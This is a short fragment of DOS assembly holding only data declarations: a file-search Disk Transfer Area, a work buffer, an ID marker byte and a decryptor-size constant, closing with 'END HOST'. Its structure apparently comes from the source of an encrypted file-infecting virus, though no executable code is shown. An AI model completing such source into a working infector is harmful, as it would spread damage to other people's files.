- PATH_ADDRESS dw 0
- FILENAME_PTR dw 0
- WORK_AREA db 64 DUP (0),'$'
-
- DTA db 21 dup(0) ;reserved
- DTA_File_Attr db ?
- DTA_File_Time dw ?
- DTA_File_Date dw ?
- DTA_File_Size dd ?
- DTA_File_Name db 13 dup(0)
-
- ;═════════════════════════════════════════════════════════════════════════════
-
- ID equ 77h
- DECRYPTOR_SIZE equ 16d ; equ OFFSET WORK_BUFFER - OFFSET START_IMAGE
-
- MAIN ENDS
- END HOST
-